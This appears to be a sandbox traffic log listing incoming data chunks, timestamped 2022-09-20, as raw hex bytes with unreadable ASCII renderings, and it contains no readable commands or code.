2022-09-20 10:10:08 UTC 575 IN Data Raw: 49 f9 cc 6c cd 46 52 3e 91 41 32 25 7a 77 3b b0 1f 7c 24 46 77 3b e6 1e 6f 9f 76 ee e1 5a 85 1d d0 d6 6a 00 
a4 5a 2d c6 1c e0 0c 47 c4 06 ae 99 86 0e 46 ac 55 24 03 54 96 18 23 28 5f f1 60 af 90 60 42 ac 6e c4 57 ca 63 b8 d0 10 
03 77 4b dc 08 03 2d 4b e0 2e 03 17 8d 42 c5 8c 38 60 fd f9 fb 2b d1 12 03 fe 83 bf fd fd 4a d4 cc 68 79 c6 01 6a d6 81 b9 
9d 5b 9c e5 d8 6d 41 2e 5c 21 59 c7 d2 15 52 90 c5 46 d0 46 52 4e ab e2 df 2c 31 b4 67 38 a2 19 09 da 68 98 11 ab f3 ef 
ff bc 12 51 39 d3 57 a5 44 a9 3a b1 84 f7 f9 7d a5 0e 20 e9 a8 b8 fd b0 44 1d ee f6 bb 22 70 03 67 1f 22 4b c0 86 de ca 
eb d2 f9 63 45 12 8d 5c 0d 88 58 2b 24 43 d6 bb 81 10 25 e2 47 90 a7 09 22 36 b0 71 7f f5 91 7d d5 72 7f 15 31 4e ee fc 
0d 12 b1 56 63 d4 91 27 2f 20 0e 86 b3 d9 48 67 20 a3 
Data Ascii: IlFR>A2%zw;|$Fw;ovZjZ-GFU$T#(_``BnWcwK-K.B8`+Jhyj[mA.\!YRFFRN,1g8hQ9WD:} D"pg"KcE\X+$C%G
"6q}r1NVc'/ Hg 

2022-09-20 10:10:08 UTC 583 IN Data Raw: 01 ed a9 85 a0 e3 bc 77 d7 f9 6e 20 34 c1 68 7c 38 a4 0e 22 28 47 34 7e 2f 90 44 95 ca 23 6e 60 1c 78 ff 39 
12 41 79 39 e3 0a c1 3a 88 26 19 23 02 36 f2 a5 5a 08 3a 6e 55 2d 2f e2 89 d8 89 a5 56 44 cd 66 ef 12 b1 a8 36 e0 d5 28 
89 1b f1 17 8c a4 f1 88 7e 21 89 ee e8 17 e1 f6 84 b0 ae 92 00 62 51 f3 c2 e3 24 56 1c 21 d4 ea 26 f6 1b a4 10 19 ad e1 
e2 97 3a 80 d8 25 11 98 2c 9d 36 84 d0 ed d7 68 30 1e c6 32 21 34 c9 e8 af b4 67 20 52 51 63 8c f4 b4 10 a2 f2 39 77 00 
55 22 f6 d5 b5 10 d8 40 bf 20 11 5a 5e 23 08 43 f6 55 8d 19 95 5d 12 c1 44 32 0a 94 10 aa 5b 65 8d cb 06 d6 b4 c6 ed f7 
f6 7a e6 23 2b 11 3e ce 1e de 7f d5 3b 4b 21 ea 18 d7 0e ca 23 c4 a2 26 93 00 4b 62 3a 09 70 bf 4f 09 25 1f c3 84 58 d4 
62 e4 61 49 2c 47 1e 8e fd d7 cc 5d 9f 10 8a 8a 24 73 c3 
Data Ascii: wn 4h|8"(G4~/D#n`x9Ay9:&#6Z:nU-/VDf6(~!bQ$V!&:%,6h02!4g RQc9wU"@ Z^#CU]D2[ez#+>;K!#&Kb:p
O%XbaI,G]$s

2022-09-20 10:10:08 UTC 591 IN Data Raw: e7 95 db da 79 71 f7 6a 89 dc bd 06 39 1f bf 79 ee 5e 27 53 a6 6e 09 ef 5e 67 a4 23 7d 7c 1f 95 9e 48 24 d7 f5 
d0 71 e9 4a 6f 86 b1 50 ce 70 40 fa 0c fa 38 ed 9b 61 44 89 71 8d 7d 73 47 44 e5 93 97 35 9c f4 89 58 dd 7b 53 53 94 11 
c1 08 b5 5a 2f ee 96 58 14 51 11 83 57 ac bf 1f 89 ba 18 78 51 e4 71 89 68 9a 61 37 73 21 b6 e3 26 b1 f1 4a 09 6f bc 6e 
12 1b af cf d6 e1 8d d7 8a 88 cd cd 27 16 22 d5 6a 20 ee e0 7f fe 24 63 14 5d 08 dd 24 4e 5e 78 96 15 aa 66 c4 64 19 1e 
55 46 2e 0a fe 9c ae 95 fc 39 41 62 d7 67 e5 b9 eb bb c9 78 07 d4 9e 1a a8 58 39 cc 5b 3f bb 56 eb 74 97 70 3b 88 67 40 
21 15 35 d3 b0 d7 48 bd 1b bf 93 f7 3e 40 55 3a 26 82 05 ba ba f3 d2 7c 75 93 78 25 b3 72 bf 92 81 6c 79 8e 5a 36 ae 27 
b9 17 48 22 17 85 91 c8 01 07 e4 5f 70 22 ad 1d 9e 01 
Data Ascii: yqj9y^'Sn^g#}|H$qJoPp@8aDq}sGD5X{SSZ/XQWxQqha7s!&Jon'"j $c]$N^xfdUF.9AbgxX9[?Vtp;g@!5H>@
U:&|ux%rlyZ6'H"_p"

2022-09-20 10:10:08 UTC 598 IN Data Raw: 78 e5 d6 80 01 09 5d 2b 07 24 04 d9 1f bb f0 71 e6 0e 60 20 43 b7 95 8f 33 77 00 23 22 c3 e7 7a 1e c8 3a 60 
c4 e6 6f 70 94 dc 01 0c 18 fc b9 af 46 c9 1d c0 28 cf 1d c0 28 b9 03 18 30 7b f3 2f 38 ae dc 01 f0 4e c6 bf 60 de c9 04 39 
1e 4b d1 b0 d5 4b 90 eb b1 14 0d c5 f8 0d 12 91 74 3c 12 47 cd 3d c3 80 69 5d f6 6e cd 3d c3 68 cf 1d 80 83 37 82 1c 63 
6f 84 47 cb 85 7e f4 4c 2d 29 e4 ea f6 6d f2 4f e4 ea f6 f6 f8 6a 87 6d ee 3a 5e 6b 56 7e 1f 43 49 b8 82 1c d7 f3 37 f7 b5 
48 90 fb ae 8f c8 3a c6 be ba 27 b2 0e 5c 53 79 02 c8 6b aa 20 af 6b ef 45 c7 cc 7d 09 ef af 3c 97 e4 fd d5 fd 91 b6 7d 50 
24 22 e3 a4 2b 22 6b 15 2f f4 3a 60 dd bf 5e c9 c4 20 44 9c e1 22 9a 71 ac 1f bc 49 25 ea 62 ac ed 64 46 c4 a2 2e bc 80 
fc eb c3 db 91 68 8a 41 03 65 33 3c 85 07 89 38 
Data Ascii: x]+$q` C3w#"z:`opF((0{/8N`9KKt<G=i]n=h7coG~L-)mOjm:^kV~CI7H:'\Syk kE}<}P$"+"k/:`^ D"qI%bdF.hAe3<8

2022-09-20 10:10:08 UTC 606 IN Data Raw: 44 89 c5 00 dc 92 58 0a c0 0d 32 82 d2 ea 3b 07 52 5f ad 13 f9 52 39 33 10 a9 a8 12 67 53 1d 33 88 ba 18 78 
05 e0 ef 41 54 c5 08 3f 0f b7 03 48 ca 0b 82 a7 58 79 99 3a d7 de 07 2d 24 78 e7 7c 45 24 1d 57 46 42 30 52 51 57 b7 7b 
b6 90 ba 1d fe f5 2b 95 5f be 0a bb 49 3c 1c ba ba d7 d4 32 11 e4 de bd 12 59 07 f2 73 a6 8e a9 91 18 ce ee 31 c3 71 6e 
27 52 cb 6b 7d 0c 38 20 15 55 91 c0 da ca 6b d3 32 11 e4 6c 5e b6 89 54 ab 9a 91 42 84 a6 da d1 11 11 e8 83 6a d5 19 
11 a8 9d b0 f0 5a 5a 20 81 78 e6 bc 49 26 78 c7 51 46 a8 83 71 8f 04 a4 8a 7e 3f 12 15 30 c2 93 d1 93 a5 10 25 c2 70 ed 
d2 65 8d 10 25 ee 0a fa 49 c8 08 b5 3a 5f 8c c4 c6 5a 01 e1 87 3a 63 b5 8a e3 2b 8b 22 82 8e 38 ae 3a d0 8c 11 74 9c 
38 8b aa 4b 88 0a 8b aa af e6 b7 22 23 14 15 77 46 43 6e 1e 46 
Data Ascii: DX2;R_R93gS3xAT?HXy:-$x|E$WFB0RQW{+_I<2Ys1qn'Rk}8 Uk2l^TBjZZ xI&xQFq~?0%pe%I:_Z:c+"8:t8K
"#wFCnF

Timestamp
kBytes
transferred

Direction Data
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2022-09-20 10:10:08 UTC 614 IN Data Raw: 98 f4 87 23 34 81 84 9d cc c7 23 91 95 23 74 d3 96 58 9e 4b 1a 6c 20 b3 e5 d5 ab c1 60 4c a7 94 a8 5e 0d 46 
a3 ed f9 8f 23 91 95 c3 59 6e 4b 78 35 08 6f 1c 3f 9f 01 15 0f b8 d6 d2 53 4f c8 ca 61 b9 bc 25 86 07 1c 2d 07 b6 c4 f2 80 
a3 c7 7a 4a c8 63 1d 64 ec 77 53 a2 d7 1c 70 30 69 fe 92 8c 91 03 0e 46 08 5b 62 e5 80 1b 69 16 2a 64 e5 30 42 48 89 
d1 72 c0 3d f7 bb 69 84 30 ab 8c 10 52 22 f7 bb 83 b1 a9 52 42 b1 a9 40 b6 c7 7c e5 d8 54 20 63 93 fa fb 3f 47 22 2b 5f 
af c7 7c e5 a0 55 20 cb 63 be 72 d0 2a 90 ed 31 5f 39 68 15 c8 f9 98 af 9a e2 53 df 24 a3 59 59 c2 d1 ac 40 a6 41 2c 91 
07 1c a3 59 6d 09 6f d5 06 a3 59 bd 7f 3c 12 49 39 ed 32 52 22 b7 b5 b2 cb f0 1a 65 bb 0c 90 ed 31 c3 f5 d3 3b fd d1 9f 
a7 89 d1 f3 34 31 fa be 2f 11 b2 72 98 78 64 ad 8a 4f 45 
Data Ascii: #4##tXKl `L^F#YnKx5o?SOa%-zJcdwSp0iF[bi*d0BHr=i0R"RB@|T c?G"+_|U cr*1_9hS$YY@A,YmoY<I92R
"e1;41/rxdOE

2022-09-20 10:10:08 UTC 622 IN Data Raw: 64 ef de 1b d1 e1 67 40 23 16 b5 18 12 8c dd 0e c4 41 1d 3e 97 71 29 cb 0f 87 08 ed b8 77 34 d5 d7 d1 46 85 
0c 46 6e 89 64 c6 46 50 7e 1f f9 61 f0 27 09 20 28 8f c8 4b 08 2d f0 d7 61 c4 01 57 ef 51 19 77 4b 1c bb 44 54 7e 31 13 
cd 07 ea b8 94 89 e6 de 80 bf e6 b5 47 22 11 94 b7 93 89 be 7e 41 82 08 ca ef 3d 7f a6 95 30 62 51 f5 c4 4d 2a 6b 45 c4 
a2 22 5d 8d ae 5e 8c 58 14 22 63 7a 2e 01 62 27 36 d9 3a 7f a1 72 db 3a 07 49 f3 3d fe 50 44 54 3e 27 de 6b f9 0d 12 51 
c7 5c d5 0f 3c 46 2c 6a bd 70 bd 23 09 a0 69 46 d5 dd ab 11 8b 42 56 89 95 12 d1 eb ac ee e2 bb 81 25 f4 6e 00 32 c3 
7b 18 b1 ba 61 c8 a3 d3 b6 51 32 fc 0c 68 a4 5a 31 93 72 4a d0 bb 86 a4 6f 58 84 ea cb 0c 1b f6 1a 75 33 96 6e ee 8c a0 
3c b2 0d f5 9c 77 89 20 c1 1b 6f ff 50 bc f1 7e 91 81 ef 40 
Data Ascii: dg@#A>q)w4FFndFP~a' (K-aWQwKDT~1G"~A=0bQM*kE"]^X"cz.b'6:r:I=PDT>'kQ\<F,jp#iFBV%n2{aQ2hZ1
rJoXu3n<w oP~@

2022-09-20 10:10:08 UTC 630 IN Data Raw: 31 b0 df 4d 09 ed 77 83 44 30 82 94 50 30 82 86 f5 7f ed 5a 35 c5 1c 68 61 a5 90 e6 94 42 52 de cf cc 0b 40 
e4 2e e9 3b 3a a5 50 31 a3 3b ca bf 90 aa 3b ae 0c f1 29 a4 5a f1 65 d4 12 7e 19 6d 15 07 af fc 3d 4e 47 3c 09 72 1f 1a 
84 aa 19 f1 36 e1 a2 96 32 4e 05 39 32 bb 0a 51 57 3b 16 ce 38 29 a1 33 ce 7d fa bc b7 98 bb 81 40 45 0c 58 8b 48 02 
a8 8b 51 f2 8d 9e 48 bf 79 84 b7 7e 5d 5b e2 e2 ad 73 90 db 11 5a c8 ca e1 24 90 12 6d e9 a7 bd 2e f8 66 48 02 88 8c fa 
42 02 20 7e e7 44 2c aa f3 7a 47 12 dd d7 3b 2d bc f9 61 98 c5 41 dd 6d 98 15 64 df 13 00 51 31 03 e7 a8 5f 47 a2 69 c6 
f0 43 15 90 c7 55 a7 61 56 4a e8 d0 d0 22 ec ca e9 50 be 42 2a 8a f6 57 5c cf 89 54 dd 0a af 78 4e fa 44 aa 2e ed af ac 
c3 f6 57 41 e2 a8 af af b6 db cc ea 26 65 66 25 86 cd ac 6e 
Data Ascii: 1MwD0P0Z5haBR@.;:P1;;)Ze~m=NG<r62N92QW;8)3}@EXHQHy~][sZ$m.fHB ~D,zG;-aAmdQ1_Gi
CUaVJ"PB*W\TxND.WA&ef%n

2022-09-20 10:10:08 UTC 637 IN Data Raw: 69 b6 00 e4 e9 75 31 f6 0e 97 3b 22 e9 80 4d 2b 4d 04 85 54 2b de 3a 23 67 b1 90 75 54 24 1f d1 80 0b a4 96 
4f 2c c2 a9 bc e7 5c 32 f1 5c f3 4e 9d 38 f5 5c 13 e7 82 76 e6 15 12 91 8a c2 27 95 3f ed 92 99 2e 8e 12 c5 cf e4 42 77 
ad 06 4e 15 31 4a be ff 73 24 ea 62 c0 63 24 24 8c 2c 81 ec 5c 6f 66 30 3b 17 c8 7e a9 13 89 f0 f8 02 12 c6 5f f1 58 6c 54 
c9 38 ab 93 9c 1a 49 c7 bd e6 df 5f 6d 3c e4 1a 49 07 6f a3 52 82 b7 51 20 11 bf dd 3a 4e c6 6f 8f 38 9c 27 dc a0 62 94 
18 15 31 b0 df fd f6 76 24 9a 64 94 57 1c 01 62 a1 37 2a 66 c4 94 61 89 40 96 80 f9 5e 4a d0 7c 8f 64 1c fb 52 82 51 cc 
41 22 d5 4e 4a 30 d5 0e 48 1c c3 e3 22 45 a8 bb a8 48 fb b6 8b 1a 70 58 0d 92 09 fd fe fd 7a 24 ea 62 e0 f8 6a 89 40 66 
20 0e cb bf 66 30 0e 0b c9 58 52 53 82 59 df 48 0e 59 
Data Ascii: iu1;"M+MT+:#guT$O,\2\N8\v'?.BwN1Js$bc$$,\of0;~_XlT8I_m<IoRQ :No8'b1v$dWb7*fa@^J|dRQA"NJ0
H"EHpXz$bj@f f0XRSYHY

2022-09-20 10:10:08 UTC 645 IN Data Raw: f2 d2 99 a7 3b a1 62 46 5a 15 0b 55 33 d2 b2 9f a8 bc c4 d8 31 7e 89 a6 19 2d 1d 8e 84 ac 7c 64 a0 00 21 33 
66 de 97 08 59 f9 be 8d 12 4a 46 06 7c 06 e2 b2 0d 72 3a f0 a8 10 bb e4 ba f0 c8 aa de 05 2a 66 5c 3e f6 09 4d 33 9c 50 
dc a8 9a 31 7d f5 42 e4 96 5f 08 fc e3 5a 05 b2 f2 f0 8f f8 ed 2d 19 d7 b2 72 5c 60 ff 4c 46 77 5f c1 c1 86 3e 3f 42 56 5e 
d2 be 9d a8 5b 79 c1 db f6 a7 23 91 95 e3 2e 1c b1 13 84 ac 1c 16 a6 59 5d 59 98 06 79 65 d0 11 21 2b bf f0 3e 68 1d 17 
27 19 90 7d b5 87 04 57 1c 90 71 68 c8 be 52 d8 e3 20 61 aa 92 ca 6b f5 6f 7e e1 22 3e bb 5d 17 f1 20 d7 d8 3f ed 55 3d 
da ef 6f 39 6e e8 3f bb 28 dd d0 83 8c 67 a7 9f 2e 4a e6 30 20 63 b9 cb de 55 d0 43 90 71 94 49 09 bd 28 82 4c 5f 7d 21 
eb 40 56 c4 ec 12 66 45 04 89 ed c7 77 57 57 db 0f 90 
Data Ascii: ;bFZU31~-|d!3fYJF|r:*f\>M3P1}B_Z-r\`LFw_>?BV^[y#.Y]Yye!+>h'}WqhR ako~">] ?U=o9n?(g.J0 cUCqI(L_}!@V
fEwWW

2022-09-20 10:10:08 UTC 653 IN Data Raw: 20 ea 62 34 df 33 18 15 31 10 be 39 8b 62 f8 e6 20 63 a9 5d 29 11 4b ad 74 9c 17 42 3d fc 38 12 a9 a8 33 03 
82 18 25 23 66 ea d8 a4 1a a1 81 58 1e b7 8e a2 74 70 41 f2 3c 28 09 9f 07 23 85 5e 6f de c3 19 89 c1 1b 2f b5 e3 d2 8d 
17 92 ee 9d f5 4a 1d 81 f8 43 cd b8 48 7f 0d cd a2 44 94 68 15 17 bf 92 08 c4 71 35 3b 73 6d 71 c5 21 a2 f2 3e 32 3c ad 
11 5b 3e 98 05 23 d6 73 23 ea 98 23 d3 51 0b f1 c3 b9 97 1e 7e 38 58 8a 88 a0 63 3d 6e 58 8c 50 54 6c 2b cf 5c 0d 88 f0 
0b ae 7b 45 3c 73 f8 10 b1 a8 fb 17 43 02 39 4a 00 15 32 56 dc 34 5a 02 88 3a 2a 33 c5 b2 56 44 d4 31 19 08 56 12 53 
81 60 f1 4c 88 68 3d ec 2b 22 2a 97 8b 92 24 ec a2 34 cf 7b 4c c2 a4 19 b5 12 9a 60 94 ba 7c e3 65 d4 c1 b8 ce ea 3c d5 
46 2c ea a2 e1 3b 94 0b b1 a8 36 d2 aa d8 88 45 f5 0a ab e2 
Data Ascii:  b4319b c])KtB=83%#fXtpA<(#^o/JCHDhq5;smq!>2<[>#s##Q~8Xc=nXPTl+\{E<sC9J2V4Z:*3VD1VS`Lh=+
"*$4{L`|e<F,;6E

2022-09-20 10:10:08 UTC 661 IN Data Raw: 80 94 d0 1d 40 90 91 89 31 7b 37 90 74 c4 9c bf 25 62 ce 97 c4 7d 7e ad 7b be 0a a4 ea 0e a4 83 4b 09 a5 83 
0b 12 0f 55 ee 2b 5b ef 04 c9 87 aa 4f 87 91 fb 6a e0 66 c2 3f d4 98 1e a2 f7 b9 db 69 38 27 6e 71 f5 71 de 24 de 9d a9 
9c 68 8a c1 10 3b 5f 8f 44 45 0c 04 30 a2 0e a2 2e 46 66 65 17 62 5f dd 24 2f 01 3f 1f 89 ac 1c f1 32 52 42 f1 32 82 8c eb 
e9 df 7e ba ba 53 1f e7 5d 55 bc 86 5b 62 e8 35 3c 48 bc 86 b3 77 89 54 d4 b8 f2 f6 5c c8 45 e1 72 80 4b 11 91 da 11 86 
1c 8b f7 d4 44 e5 65 46 2c 13 ec 76 22 4b 20 aa 7c 2a 57 54 f9 20 91 18 3d 95 0f 7d 83 25 d2 65 2e 6d a3 84 2c 81 fc e7 
bf be 1d 89 a4 63 22 d8 d3 7b e9 98 0a f6 84 9b f7 bc d3 17 52 97 4c 06 44 57 3b a6 02 a2 e3 3e 17 1e 23 fa 3d a6 82 3d 
05 c9 48 e9 7f 8a a1 57 fd 20 71 4a f5 6f 3e f5 78 1f 
Data Ascii: @1{7t%b}~{KU+[Ojf?i8'nqq$h;_DE0.Ffeb_$/?2RB2~S]U[b5<HwT\ErKDeF,v"K |*WT =}%e.m,c"{RLDW;>
#==HW qJo>x

2022-09-20 10:10:08 UTC 669 IN Data Raw: c8 1d a6 64 45 d6 1e ed db 23 55 ce 7c 74 62 57 0c 88 20 71 f2 72 51 3e 79 dd e4 78 a5 d1 ad 10 ab 1b e7 84 
5d dd 40 aa 6e 9c a3 77 75 81 aa 19 7b 0a 07 ea 96 e8 6b 77 22 90 74 9c 8f c3 0f 90 3a f1 44 38 c4 94 a8 72 38 0a 12 97 
fd 96 a8 b5 a7 c4 8e f8 be 76 42 0d 90 69 36 4d e4 76 3c f2 b8 0b 49 62 94 bd 78 11 4d 31 ea 5e bc 88 ba 18 63 ef 5e 89 
28 51 1e 49 09 88 f4 43 c5 50 ca 5d 1f 51 11 63 3c 7a 17 88 b5 8a 8c 31 b9 dc 11 75 31 ce 8c 8e 0f 44 c3 de 20 4b 66 db 
14 72 51 57 c6 ba 17 52 75 99 5c 9a c7 25 22 d5 2a ce 0c 0f 1d fd 72 3b 64 c0 ff e3 48 64 1d 33 df 26 84 ac 03 63 37 6b 
a5 10 3b 20 33 70 35 d1 b4 8e 75 5e 8f 96 2f 6d 9d 83 dc 93 3e 91 aa 4b ef 01 4b d8 7b 20 c8 b9 0f 8a 44 c9 98 7d d7 aa 
e4 87 23 93 7f 4b d8 e4 1f e4 78 6d 89 40 96 d8 69 83 85 
Data Ascii: dE#U|tbW qrQ>yx]@nwu{kw"t:D8r8vBi6Mv<IbxM1^c^(QICP]Qc<z1u1D KfrQWRu\%"*r;dHd3&c7k; 3p5u^
/m>KK{ D}#Kxm@i

2022-09-20 10:10:08 UTC 676 IN Data Raw: 8e b4 d7 de d6 02 49 79 85 57 a3 95 d7 e1 25 75 d0 d8 e8 bb 7a 37 8d 8d 56 c4 33 cf 17 45 22 d5 aa 9f 8f 9d 
25 90 5a de f1 12 67 89 7e 65 b7 77 bc c4 59 79 f7 4b dc 4d 3e 6f 52 81 54 ab f0 18 5b fe 6a 63 dd f4 4f cb 8c 6c 56 3e ec 
63 12 c1 2b e2 12 d0 ca 67 5e 02 8e 19 7e 89 5e cf 81 a4 7c 21 b8 a9 3b 71 55 9f 71 46 cc 38 97 0f ee 40 94 98 4f fb 12 
22 31 e2 5e 7c 59 07 9c 7e 5f 62 c0 92 43 2d 9f 69 c9 b1 9c 5f ed ed 48 c4 76 c4 fd ca 5a 7a 19 c5 fd 8a 5a 3e cb 0e 6f 2e 
34 c5 a8 8f 25 15 48 3a 4a 7f 2c a9 40 aa 6e 84 b8 3f b7 c4 f4 02 39 2f b8 03 bb ba 97 dc 81 83 64 5c b5 7f 8f 44 d2 71 21 
30 6f 4a 2c 4f 19 b3 e2 02 42 83 1a 48 45 d1 21 cf ca d3 21 ef 26 11 f3 cc 45 d5 e1 b5 76 d2 53 cf ed 48 4f bd 35 fb 78 9c 
a3 66 fa ab ad 7b ca 7e ed 2d 27 90 74 4c bc 
Data Ascii: IyW%uz7V3E"%Zg~ewYyKM>oRT[jcOlV>c+g^~^|!;qUqF8@O"1^|Y~_bC-i_HvZzZ>o.4%H:J,@n?9/d\Dq!0oJ,
OBHE!!&EvSHO5xf{~-'tL

Timestamp
kBytes
transferred

Direction Data
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2022-09-20 10:10:08 UTC 684 IN Data Raw: 85 a0 7c e1 bc 2b 5e 67 22 7e e7 11 7e f2 6d 0a 11 21 28 5f 75 bd d3 7d 48 08 3a 56 6b f0 e0 e1 ca 49 c4 1c 
4f e7 a4 13 8d 10 95 8f b6 19 e5 88 f8 39 c7 2d 41 fc b4 7f e1 c5 84 88 3a e6 04 2d 1f f8 f4 85 a8 e3 19 c5 49 81 2b 14 3a 
62 e2 c2 d5 3d b6 b5 42 95 09 03 f7 bb 68 e0 82 3b 05 be 8f 98 b8 7a ee 77 89 6a 26 64 2c 21 a1 ae 84 91 db 5a a1 e9 
84 6e b7 1b 21 2a 7f 96 d6 bc 94 15 62 8e 8b 76 64 18 70 42 85 09 75 3b d8 0b 51 79 b9 70 0f f7 17 1b 08 c4 1c 4f 99 71 
6b 80 45 58 88 3a 6e 46 cf 96 8e db d1 b3 e3 ce 1f 5b 1c f4 2e d1 64 cb 2b 08 2d 39 2d 09 b1 a8 0a e2 0f 37 10 88 b5 7a 
a6 b4 bc 67 10 42 ad c2 cd ef 9d bd 0b c4 de bd 62 e7 6c a7 58 a1 ae 04 f0 ef 62 a6 16 aa 4c 18 57 1e f5 85 a4 63 60 5a 
c2 9e 41 48 39 18 da de ca 1d da 3e d6 0b d8 3a c3 a1 5b 
Data Ascii: |+^g"~~m!(_u}H:VkIO9-A:-I+:b=Bh;zwj&d,!Zn!*bvdpBu;QypOqkEX:nF[.d+-9-7zgBblXbLWc`ZAH9>:[

2022-09-20 10:10:08 UTC 692 IN Data Raw: d6 1e 25 d3 f6 a2 77 21 59 a0 74 14 92 05 4a 44 75 ff 7e 25 62 51 e1 f1 73 e7 b8 02 62 cb 6b e5 c7 c9 df 1c 88 
ed 50 84 6e cd 57 8a d0 1d 62 af e0 f7 d1 b8 02 a2 f2 31 60 02 a5 a2 80 58 d4 22 af 9a 5a be de 7e 76 aa d7 80 7f 14 6b 
05 c4 5f b0 de 6f d0 c6 30 07 11 74 84 cd 73 bc 15 29 07 10 74 d4 be 82 9e 4e 1f 27 11 5a fe 9c 2a f0 2a c3 b1 4b 04 e5 
ed ae b8 f1 62 51 44 cc 51 69 fd 49 e5 8c 4a 84 5a b5 49 b7 4d fe 1e 44 2c 0a e1 20 33 07 c2 41 2a 07 5f 33 3e 32 41 f7 
3e 61 21 1e bf a0 73 e4 db 44 ec 6f 63 5c 39 c7 f2 b8 0a b1 37 ff 82 44 52 ce d7 8c 4f 4e f0 6b 06 2d cc 77 ad f2 d1 22 44 
f8 7f 38 87 1f 2d 5a 1c f4 6f ff 50 44 5d 09 b8 3d ff 70 82 6f cf 63 0f 5e 72 24 12 a9 a8 72 ef af 96 48 39 6e 6c cf 69 c3 42 
a4 1c bc a7 76 51 79 4f fd 8c af be 87 0f 91 
Data Ascii: %w!YtJDu~%bQsbkPnWb1`X"Z~vk_o0ts)tN'Z**KbQDQiIJZIMD, 3A*_3>2A>a!sDoc\97DRONk-w"D8-ZoPD]=
poc^r$rH9nliBvQyO

2022-09-20 10:10:08 UTC 700 IN Data Raw: 45 be 96 21 6e 3e 4b 21 15 75 e3 fd fc 3f ca 71 eb fd 3c 7c c4 31 e9 5b 79 f3 a4 7f c5 35 5a 5e 53 11 49 79 c3 
bc 8b 07 05 21 b5 a3 ed 17 77 21 d5 8a 84 e8 2e ca 84 e8 21 c2 e3 d0 5d d2 e5 71 f8 88 83 cc 91 aa d5 78 e7 2f 38 76 
bc 22 a2 aa 76 4c f8 09 ff f4 f7 2b 11 6b d5 1a fc 6b a5 1c 88 45 f5 2b a6 22 3e 0f 08 51 f9 73 0e a9 35 3b 11 88 39 16 a3 
8c a9 56 cb 51 c6 42 9c c7 48 04 72 c2 7e c8 25 d2 b8 8a 97 8d 5c 20 89 aa 12 e8 33 fa df 57 22 29 3f a8 ae 85 8a 12 ea 
31 ae 96 23 80 85 08 6b 11 4d 4b cb f1 bc 42 0c 82 fb 9d a3 b7 62 1d a0 ba d6 28 59 a6 ba 0e 71 87 31 10 52 03 19 6b 
2b ab ab 58 5b e4 df 5f cb df c7 72 48 ad b0 d8 3f 36 13 44 aa d5 7d f5 dd ed 40 2a aa be f7 45 0a 91 72 d4 eb 18 ed 40 
ce b1 03 1f 10 b9 db 2b 9c fe 34 33 00 15 27 8c a3 4b aa 
Data Ascii: E!n>K!u?q<|1[y5Z^SIy!w!.!]qx/8v"vL+kkE+">Qs5;9VQBHr~%\ 3W")?1#kMKBb(Yq1Rk+X[_rH?6D}@*Er@
+43'K

2022-09-20 10:10:08 UTC 708 IN Data Raw: 24 e5 e1 62 92 ab 41 b0 3a bb ba f7 b5 2d 97 89 a4 fc c6 7d 89 5b 7e e7 7d 49 21 d3 94 fb ea b6 69 44 c5 bd 
ef 92 b9 18 90 07 dc 0d f7 3a d7 ea ee 3e 2e 95 1b dc 22 59 d4 f0 71 a9 c0 17 c9 3b 7d 20 2b 5f db 01 8c 48 ca 2b 58 9a 
dd 25 f5 ed e3 52 21 a9 82 73 d4 bc e4 28 f5 de be 4b 44 d2 51 c1 17 ae 9d 0c 90 75 b4 b1 67 51 dc 5f 5b 07 cc 16 f4 0a 
50 aa cd 16 1e 11 fc 0c 99 63 4c 0f 38 f2 33 7c b8 ba b6 35 a8 85 fc 0c da 01 14 f1 33 40 bc b6 57 0a 91 74 90 aa 54 2b 
67 69 36 29 08 31 f6 70 1e ed a2 2a a5 18 a7 22 ff e6 cd 5e 8d 8f 88 68 50 ae 6e bb 7d 2a 2a e4 67 48 e5 d5 a7 22 dc dc 
1f d5 ed f9 19 34 5c 40 64 8e bc 80 28 2d e2 e0 f8 5a 1d c8 ca d7 f1 88 54 44 f5 10 62 87 47 ae b6 38 40 52 4e 0e 08 57 
57 1c 10 10 cb 71 2a 2a e2 80 80 08 0e 88 cc 71 fb 54 f4 
Data Ascii: $bA:-}[~}I!iD:>."Yq;} +_H+X%R!s(KDQugQ_[PcL83|53@WtT+gi6)1p*"^hPn}**gH"4\@d(-ZTDbG8@RNWW
q**qT

2022-09-20 10:10:08 UTC 716 IN Data Raw: 68 2a 01 16 29 ea 12 a0 a2 84 b2 a9 18 89 ba 12 60 5f a2 7b b8 b0 2f d5 a7 56 de 75 53 31 12 59 39 38 39 7e 
b3 72 73 72 3c e2 c1 c9 41 64 e5 b8 29 d2 77 0e 64 e5 b8 29 fa b0 8e bc 29 8a 58 40 cf 2f f8 ef cc e1 1d 40 3c 78 a6 17 
04 91 6b 05 7a 0f dd 14 21 86 a3 da 71 81 c5 c3 d5 bd cc e2 f1 88 d7 8e 40 4c 24 e5 08 d6 98 5d 72 99 c5 e3 11 ef 63 a1 
0f 54 ad a3 6e c6 77 22 d5 ea 02 8b 87 c6 15 90 95 c3 ed 86 ee 43 44 d6 d1 8f 53 2a 90 6b 05 c3 93 2c ca 86 27 0d 41 
2a f7 2f 78 99 93 23 d8 9d da fe d4 80 54 2b 04 77 f2 ed 39 90 6a 55 ae fd a8 47 24 e5 05 64 1d 9a af 80 a4 bc dc db fa 
13 48 63 f7 19 2d e3 bd 95 17 93 75 04 db f7 8e 6a 45 64 e5 20 eb e0 7b 14 91 95 83 ac 43 b3 28 90 95 9f 57 48 88 c2 69 
e5 eb 38 8c 02 49 f9 fd 9e c7 d8 bd 4d d6 11 6f c8 71 18 f5 
Data Ascii: h*)`_{/VuS1Y989~rsr<Ad)wd))X@/@<xkz!q@L$]rcTnw"CDS*k,'A*/x#T+w9jUG$dHc-ujEd {C(WHi8IMoq

2022-09-20 10:10:08 UTC 723 IN Data Raw: 29 c7 32 a3 43 1c cd ee f4 9b 20 92 f2 05 aa 07 f7 ee 32 d5 43 8f 58 40 f7 fe 69 97 a9 1e c2 e1 2b 76 64 fe 38 
97 a9 1e 3a 0c e8 f2 ca 02 06 74 56 7e de 33 5c c9 03 19 e2 f9 a9 ad 9e 9f da 1a 9b 28 99 c8 b5 02 6b 44 56 77 e4 37 b8 
e6 b6 1d 24 72 0e b2 46 68 24 ae bc 67 78 76 98 71 f8 d1 94 01 d4 95 50 e2 8c a3 65 02 a8 3a 61 26 a9 34 90 1a 18 bb 
f6 bd d3 07 72 51 8c c9 fa fb 2b 91 95 df 3b a4 16 d1 54 42 dd 5e 42 44 ce 01 02 0a 3a 93 12 59 07 ae 2c b4 72 02 39 47 
